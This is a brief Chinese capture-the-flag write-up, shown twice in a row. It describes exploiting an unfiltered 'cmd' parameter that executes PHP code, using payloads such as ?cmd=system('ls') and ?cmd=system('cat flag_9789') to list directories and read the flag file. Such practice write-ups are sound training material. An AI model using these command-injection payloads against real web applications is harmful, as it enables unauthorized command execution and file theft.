打开直接就是源码。 意思是传参cmd,然后直接就执行cmd,不做任何过滤。
然后我们直接传入命令,进行测试
?cmd=system("ls");
先查看一下当前目录文件
/?cmd=system("ls");

没有flag,查看根目录
?cmd=system("ls%20/");
得到了flag

打开flag文件
/?cmd=system("cat flag_9789");
得到ctf的flag
打开直接就是源码。 意思是传参cmd,然后直接就执行cmd,不做任何过滤。
然后我们直接传入命令,进行测试
?cmd=system("ls");
先查看一下当前目录文件
/?cmd=system("ls");
没有flag,查看根目录
?cmd=system("ls%20/");
得到了flag
打开flag文件
/?cmd=system("cat flag_9789");
得到ctf的flag